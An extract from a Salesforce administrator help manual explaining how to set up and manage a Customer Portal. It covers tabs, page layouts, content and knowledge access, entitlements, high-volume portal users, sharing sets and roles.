Note: To customize the header, footer, and logo of your Customer Portal, see Enabling Customer Portal Login and
Settings on page 1671.
See Also:
Setting Up Your Customer Portal
Customizing Your Customer Portal Tabs
Customize Application
Answers
Articles
Ideas
Home
Cases
Reports
Solutions
Web tabs
Entitlements
Custom objects
Service contracts
Chatter Answers
Documents from the Documents tab
Salesforce CRM Content tabs: Libraries, Content, and Subscriptions
Additionally, the Customer Portal can display the following tabs to delegated portal user administrators:
Accounts
Contacts
1681
Customer Portal
To choose which tabs display to users logged in to a Customer Portal, and to customize the order in which tabs display to
portal users:
1.
2.
3.
4.
Click Your Name > Setup > Customize > Customer Portal > Settings.
Select the name of the Customer Portal whose tabs you want to customize.
Click Customize Portal Tabs.
To add or remove tabs, select a tab title, and click the Add or Remove arrow to add or remove the tab to or from the
Selected Tabs box. To change the order of the tabs, select a tab title in the Selected Tabs box, and click the Up or Down
arrow.
5. Optionally, from the Default Landing Tab drop-down, you can select which tab to display to users when they log
into your portal.
6. Click Save.
You can further specify which tabs users can access by editing tab settings in users associated profiles and permission sets. See
Viewing and Editing Tab Settings in Permission Sets and Profiles.
Tip: You can create multiple Customer Portals that display different tabs for users with the same profile, as long as
they have access to each object displayed on a tab.
To make the following tabs visible in the Customer Portal, use the steps above and change the tab visibility setting to Default
On in all Customer Portal profiles.
Allowing Portal Users to View Web Tabs
To allow portal users to view Web tabs, simply create Web tabs and assign them to Customer Portal profiles. For more
information, see Creating Web Tabs on page 1773.
Granting Portal Users Access to the Documents Tab
To allow portal users to view a Documents tab, grant Customer Portal users access to the folders on your Salesforce Documents
tab that contain the files you want them to view. For more information, see Document Library Overview on page 247 and
Creating and Editing Folders on page 1319.
Allowing Portal Users to View the Reports Tab
To allow portal users to view a Reports tab:
1. Grant portal users access to the folders on your Salesforce Reports tab that contain the reports you want them to run.
2. Set the organization-wide default sharing model to Private on objects you want portal users to report on.
3. Assign portal users to permission sets or profiles that include the Run Reports permission.
When you add the Reports tab to your Customer Portal, portal users:
Cannot customize reports or filter report results; they can only run reports.
Can export reports to Excel if they have the Export Reports permission.
Do not have access to the Unfiled Public Reports and My Personal Custom Reports folders.
Will receive an insufficient privileges error if they run a report that contains objects they do not have permission to view.
1682
Customer Portal
If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your
Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding
tabs, see Customizing Your Customer Portal Tabs on page 1681.
Allowing Portal Users to Access Salesforce CRM Content Tabs
To allow portal users to access Salesforce CRM Content, see Enabling Salesforce CRM Content in the Customer Portal on
page 1690.
See Also:
Setting Up Your Customer Portal
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal
Customize Application
Manage Users
You can customize your Salesforce Customer Portal pages just as you customize pages in Salesforce: with page layouts.
Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They
also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages
that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce
pages, and determine whether or not a label and scroll bars display.
Customer Portal users view the layouts assigned to their profile when they log in to your Customer Portal. You can customize
the following objects' page layouts for your portal:
Home
Tasks
Events
Cases
Assets
Accounts
Solutions
Contacts
Entitlements
Custom Objects
Service Contracts
1683
Customer Portal
Select the Available for Customer Portal checkbox on the custom object. You cannot assign a portal profile to
a custom-object page layout unless this checkbox is selected. For information on modifying this setting, see Defining
Custom Objects on page 1735.
Grant user permissions to the custom object on permission sets or profiles assigned to portal users. For more information,
see Overview of User Permissions and Access on page 555.
Add the tab of the custom object to your Customer Portal so that the tab is accessible to your Customer Portal users. For
more information, see Customizing Your Customer Portal Tabs on page 1681.
See Also:
Customizing Your Customer Portal Fonts and Colors
Enabling Customer Portal Login and Settings
Designing Home Tab Page Layouts
Setup Tips and Considerations for Customer Portal Pages
Available in: Enterprise, Unlimited, and Developer Editions
Consider the following set up tips and general information about Salesforce Customer Portal pages.
Setting Up Cases
When setting up your Customer Portal, clone the page layout for cases (Case Layout), and rename it Portal Case
Layout. This allows you to easily differentiate between case page layouts for internal users and case page layouts
for portal users.
By default, new cases are accessible in the Customer Portal, but you can include the Visible in Self-Service
checkbox on case page layouts so that you can deselect the checkbox to prevent a case from being displayed.
Do not select the Show Case Email Notification and Show Case Email Notification by default
checkboxes on case page layouts. These features only apply to Salesforce users.
Do not add the Internal Comments field to case page layouts assigned to portal profiles because portal users may
view comments intended only for Salesforce users.
1684
Customer Portal
Include the Asset field on case page layouts if you want portal users to be able to associate cases with an asset related
to their account.
Include the Contact Name lookup field on case page layouts so that users with Edit permissions on that field can
change a case's contact to another portal user in the same account.
Do not select the Show solution information section, Show Contact Notification checkbox,
and Select Contact Notification checkbox by default checkboxes on close-case page layouts because
their functions only apply to Salesforce users.
Create case record types to set the default value of the Case Origin picklist field for cases logged on your Customer
Portal. For more information, see Creating Record Types on page 1269.
For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case
is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users,
add a rule entry using the criteria Current User: User Type contains Customer Portal and select
the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1306.
Portal users can view all the values in the Type, Status, Priority, and Case Reason picklist fields unless you
create record types for cases that contain separate picklist values for them. For more information, see Managing
Record Types on page 1268.
You can prevent portal users from submitting cases with attachments by removing the Submit & Add Attachment
button from case page layouts:
1.
2.
3.
4.
5.
Edit a case page layout with the enhanced page layout editor.
Click Layout Properties.
Deselect Show Submit & Add Attachment Button.
Click OK.
Click Save.
Cases
1685
Customer Portal
Portal users can self-close their own cases from suggested solutions, see Enabling Customer Portal Login and Settings
on page 1671.
If Salesforce Knowledge is enabled, you can add the Articles related list to case page layouts assigned to portal users
so that they can find articles that help them solve their cases. See Customizing Related Lists on page 1293.
If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list.
Portal users can download feed attachments, but can't preview, edit, or delete them.
Solutions
Home Page
Include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users. Each
Customer Portal user who logs in to your portal receives a welcome message with his or her name. The users can
also change their own portal username, password, locale, language, time zone, and contact information. When portal
users change information about themselves their user records are updated but their contact records arent automatically
updated with those changes. For more information about defining home page components and assigning home page
layouts, see Customizing Home Tab Page Layouts on page 1299.
Note that Customer Portal users who have the Is Single Sign-On Enabled permission cannot change their usernames
from the Customer Portal Welcome component. For more information on Single Sign-On, see Company Information
Fields on page 444.
When designing home page layouts for your Customer Portal, we recommend adding the following components:
Search, Solution Search, Recent Items, Customer Portal Welcome, and a custom HTML Area component that
includes your corporate branding in the wide column.
Create custom components to put on the home page layouts of your Customer Portal, such as links to custom list
views, specific documents, and top solutions. For more information, see Defining Home Tab Components on page
1300.
Custom component names do not display in the wide section of the home page in the Customer Portal.
You can position the logout link anywhere on the header by using the HTML tag: <a
href="/secur/logout.jsp">Logout</a>. For more information on the header, see Enabling Customer
Portal Login and Settings on page 1671.
We recommend not adding the following components to your Customer Portal home page layouts because they are
for Salesforce users: Tasks, Calendar, Product Search, Recent Items, Dashboard Snapshot, Messages
& Alerts, and Items To Approve.
1686
Customer Portal
Activities
Documents
Verify that none of your organization's internal documents on the Documents tab are available in folders accessible to
portal users. For more information, see Managing Folders on page 1316.
Reports
Portal users can run reports if they have the Run Reports permission.
Portal users can export reports if they have the Export Reports permission.
The Report Options section does not display on report results for portal users because portal users cannot customize
report results. Also, the Generated Chart section, which includes the Edit, Large, Medium, and Small links, does
not display on report results.
Report results for portal users only include links to objects the portal users have permission to access.
Portal users can only report on objects set to Private in the organization-wide default sharing model. Some objects,
such as solutions and articles, are not included in the sharing model and cannot be reported on by Customer Portal
users. For more information, see Setting Your Organization-Wide Sharing Defaults on page 625.
Portal users will receive an insufficient privileges error if they run a report that contains objects they do not have
permission to view.
By default all users, including portal users, can view report folders. To prevent portal users from viewing report folders,
update the sharing settings on report folders to the All Internal Users group. For more information, see Managing
Folders on page 1316.
Custom Objects
When you deselect the Available for Customer Portal checkbox on a custom object, the custom object is
no longer available on the Customer Portal, and all of the permissions for the custom object are automatically removed
from portal profiles. If you select the Available for Customer Portal checkbox on a custom object again,
you must update the permissions for the custom object on portal profiles.
Note: If you configure custom object access at a later time, permission sets retain their configuration.
Portal users can view, search, and create notes and attachments on custom objects.
If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list.
Portal users can download feed attachments, but can't preview, edit, or delete them.
Articles
For setup information, see Enabling Salesforce Knowledge in the Customer Portal on page 3469.
Assets
Portal users can create, view, and update assets associated with their accounts.
1687
Customer Portal
Assets are only visible to portal users if you include the Assets lookup field on case page layouts. From case detail
pages, portal users can view an asset by clicking it in the Asset field.
Portal users can view and search attachments on assets.
If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list.
Portal users can download feed attachments, but can't preview, edit, or delete them.
Portal users with a Salesforce CRM Content feature license can perform any tasks granted by their library permission.
Portal users with the View Content on Portals user permission have view-only access to Salesforce CRM Content.
Portal users with the Create Libraries user permission can create and administer libraries.
For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1690.
Answers
For setup information, see Enabling Answers in the Customer Portal on page 1693. When customizing your portal fonts
and colors, note that answers only supports the following changes:
Page Background
Text
Link
Link Hover
Ideas
For setup information, see Enabling Salesforce CRM Ideas in the Customer Portal on page 1694.
Accounts
Only users with delegated Customer Portal user administrator rights can view the Accounts tab and their account's detail
page in your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page
1712.
Contacts
Only users with delegated Customer Portal user administration rights can view their account's contacts. See Delegating
Customer Portal User Administration and Portal Super User on page 1712.
Only users with the Portal Super User permission can view the Contacts tab and edit and detail pages for contacts in
your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page 1712.
Entitlements
For set up information, see Enabling Entitlement Management in the Customer Portal on page 1695.
Add the Read permission on entitlements to custom portal profiles; assign the profiles to portal users who need
access to entitlements. See User Profiles Overview on page 521 and Configuring User Access to the Customer Portal
on page 1700.
1688
Customer Portal
Add the Entitlement Name lookup field to case page layouts so that portal users can add entitlements to cases.
See Customizing Page Layouts on page 1278.
Don't add the following entitlement process fields to case page layouts for portal users because portal users shouldn't
access information related to your internal support processes: Entitlement Process Start Time, Entitlement
Process End Time, Stopped, and Stopped Since. See Case Fields on page 3197.
Optionally, add the Entitlements tab to your Customer Portal so that portal users can view entitlements associated
with their accounts and create cases from entitlements.
Add the Entitlements related list to account and contact page layouts so that delegated portal user administrators
can create cases automatically associated with the right entitlements. See Delegating Customer Portal User
Administration and Portal Super User on page 1712 and Customizing Page Layouts on page 1278.
Service Contracts
For set up information, see Enabling Entitlement Management in the Customer Portal on page 1695.
Grant the Read permission on service contracts to the portal users who need access to service contracts. See Overview
of User Permissions and Access on page 555 and Configuring User Access to the Customer Portal on page 1700.
Add the Service Contracts tab to your Customer Portal so that portal users can view the details of their service
contracts. See Customizing Your Customer Portal Tabs on page 1681.
Contract line items don't display in the Customer Portal.
Flows
You can include Force.com flows in your Customer Portal by embedding them in a Visualforce page. For more
information, see Adding a Flow to a Visualforce Page on page 1884.
Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users see
an error message. If the flow you embed includes a subflow element, the flow that is referenced and called by the
subflow element must have an active version.
When making a flow available to site or portal users, be sure to point them to the URL of the Visualforce page that
contains the embedded flow, not to the URL of the flow itself. Site and portal users dont have the privileges to run
flows directly.
See Also:
Customizing Your Customer Portal Pages
Overview of User Permissions and Access
1689
Customer Portal
Customize Application
Manage Users
definition
Salesforce CRM Content is available in the Customer Portal. Two levels of access to Salesforce CRM Content can be granted
to Customer Portal users:
Portal users without a Salesforce CRM Content feature license can download, rate, comment on, and subscribe to content
if they have the View Content on Portals user permission. They cannot view potentially sensitive data such as usernames
and download, version, and subscriber history. The content delivery feature is not available to portal users.
Portal users with a Salesforce CRM Content feature license can access all Salesforce CRM Content features granted by
their library permission(s), including contributing content, moving and sharing content among libraries, and deleting
content. They can also view Salesforce CRM Content reports. The content delivery feature is not available to portal users.
2. Determine what privileges your portal users will have in each Salesforce CRM Content library by creating one or more
library permissions.
Note: A library permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a library permission option, selecting it does not allow portal users without a Salesforce
CRM Content feature license to tag content.
1690
Customer Portal
3. Determine which libraries you want your portal users to have access to. Ensure that confidential content is not available
in these libraries.
4. Add portal users to libraries. Portal users with the Customer Portal User profile or a clone of that profile can only be added
to a library as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that profile can
be added to a library individually.
5. Add the Salesforce CRM Content tabs to each Customer Portal.
Note: The Documents tab is not part of Salesforce CRM Content.
See Also:
Setting Up Your Customer Portal
Enabling Your Customer Portal
Salesforce CRM Content Overview
1691
Customer Portal
Customize Application
Manage Users
You can use the Customer Portal to provide your customers with access to Salesforce Knowledge articles. Portal users can
view and rate articles but cannot create or edit articles.
After you have set up Salesforce Knowledge in your organization and enabled your Customer Portal, complete the following
steps to enable Salesforce Knowledge in your portals.
1. Update Customer Portal profiles:
a. Clone the Customer Portal User or Customer Portal Manager profiles and enable the Read permission for article
types you want to share with customers.
b. In the cloned profiles, verify that the tab visibility for the Articles tab is Default On.
2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profile.
3. Assign the cloned profiles to your Customer Portal users:
a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the
contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User on
the contact detail page.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.
4. Add the Articles tab to each Customer Portal.
5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change
the visibility settings for the Customer Portal user.
By default, Customer Portal users inherit their data category access from the account owner. For example, if the account
owner has a role of CEO and the CEO role has full access to all the data categories in a category group, then Customer
Portal users can also access all categories in that group. In some cases, you may want to limit which categories a Customer
Portal user can access.
6. If you have high-volume portal users, make the categories these users need to access visible by default. Because high-volume
portal users don't have roles, they can only access categorized articles if the associated data categories have been made
visible to all users regardless of role.
7. Notify users who create articles that they must select Customer Portal as a channel option when creating or modifying an
article. If the Customer Portal channel is not selected, the article will not be published in the portal.
1692
Customer Portal
8. To allow users to search for articles from the Home tab, add the Article Search component to the home page layout. Ensure
that you assign the layout to the Customer Portal profiles.
See Also:
Salesforce Knowledge Overview
Setting Up Salesforce Knowledge
Salesforce Knowledge Terminology
Customize Application
Manage Users
Customize Application
You can use the Customer Portal to provide your customers with access to an answers community.
To enable answers in your portal:
1. Set up your Customer Portal.
When customizing your portal fonts and colors, note that answers only supports the following changes:
Page Background
Text
Link
Link Hover
2. Set up answers, making sure that your answers community is configured to display in the Customer Portal.
3. Add the Answers tab to your Customer Portal.
4. Create Customer Portal users:
a. On the contact detail page, click Work with Portal and then choose Enable Customer Portal User.
b. Enter the required information, making sure to select the correct Customer Portal profile from the Profile drop-down
menu.
c. Click Save.
5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change
the visibility settings for the Customer Portal user.
1693
Customer Portal
By default, Customer Portal users inherit their category access from the account owner. For example, if the account owner
has a role of CEO and the CEO role has full access to all the data categories in the category group assigned to answers,
then Customer Portal users can also access all categories in the answers community. In some cases, you may want to limit
which categories a Customer Portal user can access.
6. If you have high-volume portal users, make the data categories these users need to access visible by default. Because
high-volume portal users don't have roles, they can only access categorized questions if the associated data categories have
been made visible to all users regardless of role.
7. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise,
your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information
on hiding tabs, see Customizing Your Customer Portal Tabs on page 1681.
See Also:
Answers Overview
What are Data Categories?
Customize Application
Manage Users
Customize Application
1694
Customer Portal
"Customize Application"
"Manage Users"
You can use the Customer Portal to provide your customers with access to their entitlements and service contracts. Contract
line items don't display in the Customer Portal.
After you have set up entitlement management and enabled a Customer Portal, complete the following steps to add entitlement
management to your portals.
1. Update Customer Portal profiles:
a. Clone Customer Portal profiles and enable the Read permission on entitlements or service contracts.
b. Optionally, on the profiles of delegated Customer Portal user administrators, enable the Create and Delete permissions
on entitlement contacts. This lets delegated portal user administrators update entitlement contacts.
c. In the cloned profiles, verify that the tab visibility for the Entitlements or Service Contracts tabs are Default On.
2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profiles.
3. Customize case page layouts to add the Entitlement Name lookup field. This lets portal users add entitlements to cases.
Tip: Don't add the following entitlement process fields to case page layouts for portal users because portal users
shouldn't access information related to your internal support processes: Entitlement Process Start Time,
Entitlement Process End Time, Stopped, and Stopped Since.
4. Optionally, customize related lists on accounts and contacts to add Entitlements. This lets delegated portal user administrators
create cases automatically associated with the right entitlements.
5. Add the Entitlements or Service Contract tabs to each Customer Portal.
6. Assign the cloned profiles to your Customer Portal users:
a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the
contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.
See Also:
Setting Up Your Customer Portal
Entitlement Management Overview
1695
Customer Portal
Contact salesforce.com for information about the number of Customer Portals and Customer Portal user licenses you can
activate.
The maximum number of custom objects you can include in a Customer Portal is determined by the total number of custom
objects your Edition allows. See Salesforce Editions and Limits on page 2076.
Also, user licenses control the number of custom objects a portal user can see in a Customer Portal. For information, contact
salesforce.com.
See Also:
Setting Up Your Customer Portal
Manage Users
Customize Application
Customize Application
Manage Users
Managing Customer Portal users is similar to managing regular Salesforce users. General user administration concepts like
profiles and page layouts still apply. Review the following advice for managing Customer Portal users:
1696
Customer Portal
The settings on Customer Portal profiles are similar. However, you can grant users with the Customer Portal Manager profile
greater access to data via the Customer Portal role hierarchy and sharing rules (neither of which apply to high-volume portal
users). You can also clone and customize each profile to suit the various support requirements of specific customers. You can
also use permission sets to grant additional permissions and access settings to Customer Portal users.
Depending on the user licenses you purchased, you can configure Customer Portal profiles for custom object, Salesforce CRM
Content, reporting, and customer support functionality, such as cases and solutions.
Description
Contains all Customer Portal users, except for high-volume portal users.
Lets you create sharing rules with specific Salesforce users in your organization by role plus
all of the users in roles below that role, excluding any Customer Portal and partner portal
roles.
Because high-volume portal users don't have roles, they aren't included in this or any other
sharing rule category.
You can use these groups and the sharing rule category to create sharing rules that:
Grant Customer Portal or Salesforce users access to specific data (except for high-volume portal users, because you can't
include them in any groups or sharing rules)
Link Customer Portal users and Salesforce users
Link Customer Portal users from different accounts as long as they have the Customer Portal Manager user license
Executivefor contacts
Managerfor contacts
Userfor contacts
1697
Customer Portal
As you enable customers as Customer Portal users, the system automatically assigns roles based on the user license. Person
accounts always have the Person Account role. Contacts with the High Volume Customer Portal or Authenticated Website
license do not have a role.
If access to contacts are set to private, high-volume portal users only have access to their own contact and those they are granted
access to.
Role hierarchies ensure that portal users from different accounts never see each other's data. Even though high-volume portal
users aren't included in role hierarchies, they're restricted from seeing records that aren't associated with their account or
contact, and they can only see objects to which they've been granted access. You can, however, create sharing rules so that
users with the Customer Portal Manager license from different accounts can see each other's data.
Accounts with different portal typesCustomer Portal and partner portalhave a separate role hierarchy for each portal.
Role names include the portal type with which they are associated. For example, if Account A has both a Customer Portal
and a partner portal, then roles for the Customer Portal are named Account A Customer User and roles for the partner
portal are named Account A Partner User.
To view the roles assigned to your Customer Portal users, create a custom report, choose Administrative Reports, select Users
as the data type, and add Role to your report columns. Note that you can't report on roles for high-volume portal users because
they don't have roles. See Administrative Reports on page 3021.
Note: You cannot create a Customer Portal user associated with an account owned by a partner user.
These user licenses determine the available Customer Portal profiles. They also determine users' positions in the Customer
Portal role hierarchy.
The following table shows the Customer Portal user licenses with their associated profiles and positions in the Customer
Portal role hierarchy.
User License
Profiles
High Volume Customer Portal High-volume portal users don't have roles. See About
or Authenticated Website
High-Volume Portal Users (Service Cloud Portal Users)
profile, or a profile cloned and on page 1702.
customized from one of these.
Can't share but can transfer records they own.
and
Authenticated Website
1698
Customer Portal
User License
Both user licenses are
high-volume portal users
(Available to purchase)
Profiles
Customer Portal User profile or Can only assign to either the Executive, Manager, or User
a profile cloned and customized role.
from the Customer Portal User
Can view and edit data they directly own or data owned
profile.
by or shared with users below them in the Customer
Portal role hierarchy; and they can view and edit cases
where they are listed in the Contact Name field.
Can have data shared to them just like other Salesforce
users.
Can access custom objects depending on profile
settings.
Can receive the Portal Super User permission.
Can access Salesforce CRM Content depending on
feature license and profile settings. See Enabling
Salesforce CRM Content in the Customer Portal on
page 1690.
Note: This license is not available for new
customers.
1699
Customer Portal
Tip: For more information on license types, such as Content, Ideas, Answers, and Knowledge, see Understanding
User License Types on page 602.
Note: Person accounts enabled as Customer Portal users are automatically assigned the Person Account role, which
you cannot change. Person accounts are automatically assigned to this role because they include a single user, so multiple
roles are not necessary for their account. Furthermore, all person accounts owned by the same user are assigned the
same role.
See Also:
Working with Customer Portal Users
Setting Up Your Customer Portal
What is a Person Account?
Configuring Multilingual HTML Messages
Delegating Customer Portal User Administration and Portal Super User
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Customize Application
Manage Users
Manage Users
Manage Users
When setting up a Salesforce Customer Portal for the first time, configure the following before enabling users to access your
portal:
1. Set up your portal as described in Setting Up Your Customer Portal.
2. Assign Customer Portal profiles to a portal:
a. Select the name of a portal from the Customer Portal Setup page.
b. Click Edit Profiles in the Assigned Profiles section.
c. Select the Active checkbox next to the profile you want to assign to the portal.
1700
Customer Portal
Portal users can only log into Customer Portals assigned to their profile. If you are creating multiple portals, you must
assign profiles to each portal you want users to access.
3. Set the organization-wide defaults in your organization's sharing model to Private on accounts, contacts, contracts, assets,
and cases. This ensures that portal users can only view and edit data related to their accounts. For more information, see
Setting Your Organization-Wide Sharing Defaults on page 625.
Tip: To maintain Public organization-wide default behavior for Salesforce users, while ensuring that portal users
can only view and edit data related to their accounts, you can create self-referencing sharing rules of All Internal
Users to All Internal Users. For more information, see Sharing Rules Overview on page 637.
4. Optionally, set sharing rules for portal users (with the exception of high-volume portal users). This lets you share records
between portal users and Salesforce users or vice-versa. See Sharing Rules Overview on page 637.
Note: If your organization uses sharing rules that share to Roles, Internal and Portal Subordinates, then update
those sharing rules to share to Roles and Internal Subordinates instead. This is to help ensure that no records
owned by a Salesforce user are accidentally shared with a portal user.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a
specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.
You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and
Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this
wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by
all users except for portal users.
5. Verify that portal users are not added to any queues and are not included in any public groups added to queues. This is
because portal users added to queues may be able to access records from accounts to which they are not related. For more
information, see Viewing and Editing Queues on page 598 and About Groups on page 589.
6. Optionally, add the Welcome component to home page layouts assigned to portal users.
The Welcome component allows portal users to receive a welcome message with their name, plus the ability to change
their own portal username, password, locale, language, time zone, and contact information. For details, see Setup Tips
and Considerations for Customer Portal Pages on page 1684.
7. Optionally, allow contacts to register themselves for access to your portal. See Enabling Customer Portal Login and Settings
on page 1671.
See Also:
About Customer Portal User Management
Configuring Multilingual HTML Messages
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal
Working with Customer Portal Users
1701
Customer Portal
High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many
thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates
performance issues associated with role hierarchy calculations. High-volume portal users include both the High Volume
Customer Portal and Authenticated Website license types.
Characteristics
High-volume portal users:
Access to Records
High-volume portal users can access records if any of the following conditions are met:
They have Update access on the Account that they belong to.
They own the record.
They can access a record's parent, and the organization-wide sharing setting for that record is Controlled by Parent.
The organization-wide sharing setting for the object is Public Read Only or Public Read/Write.
The record is the account or contact under which they are enabled.
Administrators can create sharing sets to grant high-volume portal users additional access to records; see Granting High-Volume
Portal Users (Service Cloud Portal Users) Access to Records on page 1703.
Limitations
High-volume portal users can't manually share records they own or have access to.
You can't transfer cases from non-high-volume portal users to high-volume portal users.
High-volume portal users can't own accounts.
You can't add case teams to cases owned by high-volume portal users.
You can't include high-volume portal users in:
See Also:
Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users
Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records
1702
Customer Portal
Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records
Available in: Enterprise, Unlimited, and Developer Editions
Customize Application
You can create sharing sets to grant high-volume portal users (Service Cloud portal users) access to records based on their
profiles. A sharing set allows high-volume portal users to access any record that has a lookup field to an account or contact
that matches the user's account or contact.
1. Click Your Name > Setup > Customize > Customer Portal > Settings.
2. In the Sharing Settings for High-Volume Portal Users related list, click New to create a sharing set, or click Edit next to
an existing sharing set.
3. In the Sharing Set Edit page, enter a name and description.
4. Select the profiles of the users you want to have access.
5. Select the objects you want to grant access to.
The Available Objects list excludes:
6. In the Configure Access section, click Set Up or Edit next to an object name to configure access for the selected profiles,
or click Del to remove access settings for an object.
Note: Objects with Set Up in the Action column aren't configured for high-volume portal user access. Until you
configure an object, high-volume portal users have limited or no access to its records. For more information on
access, see About High-Volume Portal Users (Service Cloud Portal Users) on page 1702.
7. Grant access based on an account or contact lookup:
Select All records where the high-volume portal user's account matches to give high-volume
portal users access to all records associated with their accounts. For example, choosing this option for cases would give
users access to all cases associated with their accounts.
Select Only records where the high-volume portal user's contact matches to give high-volume
portal users access only to the records that are associated with their contacts. For example, choosing this option for
cases would give users access only to the cases that they filed, or cases that were filed on their behalf by a support
representative.
Note: One of these options may be unavailable if the object doesn't contain the relevant fields.
8. Choose an access level of Read Only or Read/Write. (If the object's organization-wide sharing setting is Public Read Only,
then only Read/Write is available.)
9. Click Update, then click Save.
1703
Customer Portal
See Also:
Viewing Sharing Sets for High-Volume Portal Users (Service Cloud Portal Users)
Working with Customer Portal Users
Viewing Sharing Sets for High-Volume Portal Users (Service Cloud Portal Users)
Available in: Enterprise, Unlimited, and Developer Editions
Customize Application
Administrators can create sharing sets to grant high-volume portal users (Service Cloud portal users) access to objects based
on their profiles. To view detailed information about a sharing set:
1. Click Your Name > Setup > Customize > Customer Portal > Settings.
2. In the Sharing Settings for High-Volume Portal Users related list, click the name of a sharing set.
The Sharing Set detail page shows the profiles included and the access granted to objects in the set. On this page, you can do
any of the following:
See Also:
About High-Volume Portal Users (Service Cloud Portal Users)
Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records
1704
Customer Portal
Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users
Available in: Enterprise, Unlimited, and Developer Editions
Customize Application
High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many
thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates
performance issues associated with role hierarchy calculations. Because high-volume portal users are not in the role hierarchy
while Salesforce users are, a share group allows you to specify the Salesforce users who can access records owned by high-volume
portal users. Each Customer Portal has its own share group.
To specify the Salesforce users who can access records owned by high-volume portal users:
1.
2.
3.
4.
Click Your Name > Setup > Customize > Customer Portal > Settings.
Click the name of a Customer Portal.
Click the Share Group Settings subtab.
Click Activate to turn on the share group.
Activating the share group can take a while. An email is sent to you when the process finishes.
Note: Deactivating a share group removes all Salesforce users' access to records owned by high-volume portal
users. An email isn't sent to you when the deactivation process finishes.
From the Search drop-down list, select the type of member to add.
If you don't see the member you want to add, enter keywords in the search box and click Find.
Select members from the Available Members box, and click Add to add them to the group.
Click Save.
See Also:
About High-Volume Portal Users (Service Cloud Portal Users)
Working with Customer Portal Users
About Customer Portal User Management
Configuring User Access to the Customer Portal
1705
Customer Portal
Customize Application
You can set the default number of roles for Customer Portal accounts. This benefits your customer portal by reducing the
number of unused roles for Customer Portal accounts. You must have a Customer Portal enabled to use this functionality.
For example, if you currently have three roles created when an account is enabled for your Customer Portal, but only need
one role for new accounts, you can reduce the number of roles to one. You can set up to three roles for Customer Portal
accounts. The default number of roles for Customer Portal accounts is three.
To set the number of roles per Customer Portal account:
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Customer Portal > Settings.
Click Set number of roles per Portal Account.
Click Edit.
In the Number of Roles drop-down list, set your default number of roles per Customer Portal account.
Click Save.
The number of roles for existing portal accounts doesn't change with this setting.
Note: The Service Cloud Portal is the Customer Portal intended for many thousands to millions of users. Service
Cloud portal users are also referred to as high-volume portal users. See About High-Volume Portal Users (Service Cloud
Portal Users) on page 1702.
Some common tasks when managing Customer Portal users include:
1706
Customer Portal
See Also:
About Customer Portal User Management
Configuring User Access to the Customer Portal
About High-Volume Portal Users (Service Cloud Portal Users)
Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records
Manage Users
Customize Application
Customize Application
Manage Users
You can edit Salesforce Customer Portal user information for contacts associated with accounts you have permission to access.
To edit information for a Customer Portal user:
1. Click Your Name > Setup > Manage Users > Users.
2. Click Edit next to a users name.
3. Change the necessary information and click Save.
Tips for Editing Customer Portal User Information
Consider the following when editing Customer Portal user information:
1707
Customer Portal
You can create a custom list view to display only Customer Portal users by filtering on the Customer Portal Manager
license type, Customer Portal User license type, or both. For example, use the criteria License Type equals Customer
Portal User, Customer Portal Manager.
When generating a new password for a user, the new password is automatically sent to the users email address and email
verification is not enforced.
You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so
that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own
portal username, password, locale, language, time zone, and contact information. When portal users change information
